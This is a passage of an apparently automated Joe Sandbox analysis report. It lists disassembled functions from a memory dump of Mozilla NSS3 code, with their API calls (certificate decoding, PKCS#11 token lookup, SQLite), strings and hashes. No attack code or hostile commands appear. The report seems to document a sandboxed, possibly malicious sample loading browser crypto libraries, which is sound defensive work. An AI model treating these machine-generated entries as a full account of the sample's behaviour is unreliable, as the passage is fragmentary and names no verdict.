C_SessionCancel, xrefs: 6CAC9DF1
hSession = 0x%x, xrefs: 6CAC9E0E, 6CAC9E1E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 9f2e8e662c89654e4bea6edde07766df6945c28c20c41f219942e128a1ca3284
Instruction ID: 7742a286c99c8e7536d10d710856c23ebe887c3b313c0aafabcf5738e3dc0191
Opcode Fuzzy Hash: 9f2e8e662c89654e4bea6edde07766df6945c28c20c41f219942e128a1ca3284
Instruction Fuzzy Hash: B321F6757012849FDB009B68FE88BAE37B9EB4271DF484024E919A7711DF309D89C7A7

Function 6CA90F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA90F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA90F84

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CAAF59B,6CBB890C,?), ref: 6CA90FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CA90FC1

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CA90FDB
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA90FEF
PL_FreeArenaPool.NSS3(?), ref: 6CA91001
PL_FinishArenaPool.NSS3(?), ref: 6CA91009

Strings

security, xrefs: 6CA90F5C

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 473eb7ad2a5045e6b72ed11c60efd40d2a76273aabe888af1fdd73de4cc928ea
Instruction ID: 2eeb749b59be57c111f2189f4dd64e02386804a8dd8e16e9fe0fa30c374809e3
Opcode Fuzzy Hash: 473eb7ad2a5045e6b72ed11c60efd40d2a76273aabe888af1fdd73de4cc928ea
Instruction Fuzzy Hash: EA21D5B5904344ABE7009F24DD41AAEB7B8EF48658F048519FC6897701F731D69ACBD2

Function 6CA96DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CA97D8F,6CA97D8F,?,?), ref: 6CA96DC8

Part of subcall function 6CAEFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CAEFE08
Part of subcall function 6CAEFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CAEFE1D
Part of subcall function 6CAEFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CAEFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CA97D8F,?,?), ref: 6CA96DD5

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FA0,00000000,?,?,?,?,6CA97D8F,?,?), ref: 6CA96DF7

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA96E35

Part of subcall function 6CAEFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CAEFE29
Part of subcall function 6CAEFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CAEFE3D
Part of subcall function 6CAEFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CAEFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA96E4C

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FE0,00000000), ref: 6CA96E82

Part of subcall function 6CA96AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CA9B21D,00000000,00000000,6CA9B219,?,6CA96BFB,00000000,?,00000000,00000000,?,?,?,6CA9B21D), ref: 6CA96B01
Part of subcall function 6CA96AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA96B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA96F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA96F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FE0,00000000), ref: 6CA96F6B
PR_SetError.NSS3(FFFFE005,00000000,6CA97D8F,?,?), ref: 6CA96FE1

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: af44f848594069048d7a6200c5502a40d9607f67c35e241f48d2cd3fc4ea68a3
Instruction ID: 5ee2997fff37f9d68b84ad98174a70a564085b43ab71514ee8548f9ba7b703a4
Opcode Fuzzy Hash: af44f848594069048d7a6200c5502a40d9607f67c35e241f48d2cd3fc4ea68a3
Instruction Fuzzy Hash: E4717D71D202569BDB40CF15CD41AAABBE4BF98308F194229E809D7B11E771EAD8CBD0

Function 6CAD0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAD1085
PK11_GetAllTokens.NSS3 ref: 6CAD10B1
free.MOZGLUE(?), ref: 6CAD1107
PR_SetError.NSS3(00000000,00000000), ref: 6CAD1172
free.MOZGLUE(?), ref: 6CAD1182
free.MOZGLUE(?), ref: 6CAD11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CAD11C5

Part of subcall function 6CAD52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CAAEAC5,00000001), ref: 6CAD52DF
Part of subcall function 6CAD52C0: EnterCriticalSection.KERNEL32(?), ref: 6CAD52F3
Part of subcall function 6CAD52C0: PR_Unlock.NSS3(?), ref: 6CAD5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAD11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAD11F3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d752f2cae898cd31581e064d28caa45b58ad54a1acdef5712ecd4bde0fe30bf1
Instruction ID: eb73e99a072570bbd7562c76cf8eb503d067d0bc72a2e18fac45163c7095ef64
Opcode Fuzzy Hash: d752f2cae898cd31581e064d28caa45b58ad54a1acdef5712ecd4bde0fe30bf1
Instruction Fuzzy Hash: 416184B4E003459BDB00DFA4DD41BAEB7B5AF08758F194128EA19AB741E731F984CB91

Function 6CADADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE10
EnterCriticalSection.KERNEL32(?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CABD079,00000000,00000001), ref: 6CADAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE7F
TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEF1
free.MOZGLUE(6CABCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CABCDBB,?), ref: 6CADAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAF30

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 4e73ca159282f188fa1ceffff0500e2d846f7f0ecd97625c4a3bc5f231fc56d8
Instruction ID: de5410802ba30f838d85202bb027bbd208832ce82f98635ee0561bd353660dbf
Opcode Fuzzy Hash: 4e73ca159282f188fa1ceffff0500e2d846f7f0ecd97625c4a3bc5f231fc56d8
Instruction Fuzzy Hash: 8A519EB5A01A12AFDB01DF29D884B5AB7B5FF08318F194664E81897B11E731FCA4CBD1

Function 6CAB4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CABAB7F,?,00000000,?), ref: 6CAB4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CABAB7F,?,00000000,?), ref: 6CAB4CC8
TlsGetValue.KERNEL32(?,6CABAB7F,?,00000000,?), ref: 6CAB4CE0
EnterCriticalSection.KERNEL32(?,?,6CABAB7F,?,00000000,?), ref: 6CAB4CF4
PL_HashTableLookup.NSS3(?,?,?,6CABAB7F,?,00000000,?), ref: 6CAB4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CAB4D10

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CAB4D26

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CAB4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CAB4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CAB4E02

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: fda45a1bf4eced04069f6672df87c0c7d3f29286274bc0c9b4d38524a77c580e
Instruction ID: 5c8dd3d5ca35b75dafa1adb43a4a13bf6c916684763fb0647cb2b08f0c162d79
Opcode Fuzzy Hash: fda45a1bf4eced04069f6672df87c0c7d3f29286274bc0c9b4d38524a77c580e
Instruction Fuzzy Hash: E741D8B5900215ABEB019F78ED44AAA77BCFF05258F084170EC1897B12FB31E9A8C7D1

Function 6CA9BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9BFFB

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CA9C015

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CA9C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CA9C04D

Part of subcall function 6CAE69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAE6A47
Part of subcall function 6CAE69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CAE6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CA9C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CA9C07B

Part of subcall function 6CA98980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CA97310), ref: 6CA989B8
Part of subcall function 6CA98980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CA97310), ref: 6CA989E6
Part of subcall function 6CA98980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CA98A00
Part of subcall function 6CA98980: CERT_CopyRDN.NSS3(00000004,00000000,6CA97310,?,?,00000004,?), ref: 6CA98A1B
Part of subcall function 6CA98980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CA98A74

Part of subcall function 6CA91D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CA9C097,00000000,000000B0,?), ref: 6CA91D2C
Part of subcall function 6CA91D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CA9C09B,00000000,00000000,00000000,?,6CA9C097,00000000,000000B0,?), ref: 6CA91D3F
Part of subcall function 6CA91D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CA9C087,00000000,000000B0,?), ref: 6CA91D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CA9C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CA9C0C9

Part of subcall function 6CAA2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CA9C0D2,6CA9C0CE,00000000,-000000D4,?), ref: 6CAA2DF5
Part of subcall function 6CAA2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CA9C0CE,00000000,-000000D4,?), ref: 6CAA2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CA9C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9C0E3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 469fdd17faf4dcc252a4fbec9477d2610b67e4e10f6e5024b34bba10d7daa58d
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 842165F295020567FB005A61AD82FFB32EC9B4175CF0C0134FD08DA646FB26D55D92B2

Function 6CA92E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA92CDA,?,00000000), ref: 6CA92E1E

Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA99003,?), ref: 6CAEFD91
Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(A4686CAF,?), ref: 6CAEFDA2
Part of subcall function 6CAEFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAF,?,?), ref: 6CAEFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CA92E33

Part of subcall function 6CAEFD80: free.MOZGLUE(00000000,?,?), ref: 6CAEFDD1

TlsGetValue.KERNEL32 ref: 6CA92E4E
EnterCriticalSection.KERNEL32(?), ref: 6CA92E5E
PL_HashTableLookup.NSS3(?), ref: 6CA92E71
PL_HashTableRemove.NSS3(?), ref: 6CA92E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CA92E96
PR_Unlock.NSS3 ref: 6CA92EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA92EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA92EC5

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 9d4bece125449d31a60d9d03ad645c78cdf3bcfc3debd3b55ba2ec04f6eb866a
Instruction ID: d3098d630c6092ccc64cc1fdaabbea40cffa57fc0919cc1a0abfb67dafc43ef5
Opcode Fuzzy Hash: 9d4bece125449d31a60d9d03ad645c78cdf3bcfc3debd3b55ba2ec04f6eb866a
Instruction Fuzzy Hash: CD21F576A00144A7EF016E74FC4AE9A3EB9DB8234DF080130ED2887711F732D5A8D6A2

Function 6CA7FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA7FD18
sqlite3_initialize.NSS3 ref: 6CA7FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA7FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CA7FD99
sqlite3_free.NSS3(00000000), ref: 6CA7FE3C
sqlite3_free.NSS3(?), ref: 6CA7FEE3
sqlite3_free.NSS3(?), ref: 6CA7FEEE

Strings

simple, xrefs: 6CA7FC79

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 6be109dc7038f1fbdd638642006907269d2d0609ce38d606be521a622d8f66d5
Instruction ID: 987d3ae2784da73947481284e41fb5848f5fa8328c70544364dc00c4ddce701d
Opcode Fuzzy Hash: 6be109dc7038f1fbdd638642006907269d2d0609ce38d606be521a622d8f66d5
Instruction Fuzzy Hash: 699182B4A05205CFDB14CF69CD80A6AB7B1FF85318F28C16DD8199BB52D731EA81CB60

Function 6CA85CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA85EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA85EED

Strings

unable to close due to unfinalized statements or unfinished backups, xrefs: 6CA85E64
invalid, xrefs: 6CA85EBE
misuse, xrefs: 6CA85EDB
%s at line %d of [%.10s], xrefs: 6CA85EE0
API call with %s database connection pointer, xrefs: 6CA85EC3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA85ED1

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 5d7a0f0a904e20a785616ee319cf73e384d31cc8e9bfbcaa1e8f4bcbcb6c399f
Instruction ID: af0b46846b102c1d4a6814c676445070be574861b04a564d3a00559da9992229
Opcode Fuzzy Hash: 5d7a0f0a904e20a785616ee319cf73e384d31cc8e9bfbcaa1e8f4bcbcb6c399f
Instruction Fuzzy Hash: E5818D30B076129BFB19CE29C848BAA77B1BF41318F284269DC175BB51D730EC96CB91

Function 6CA6DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

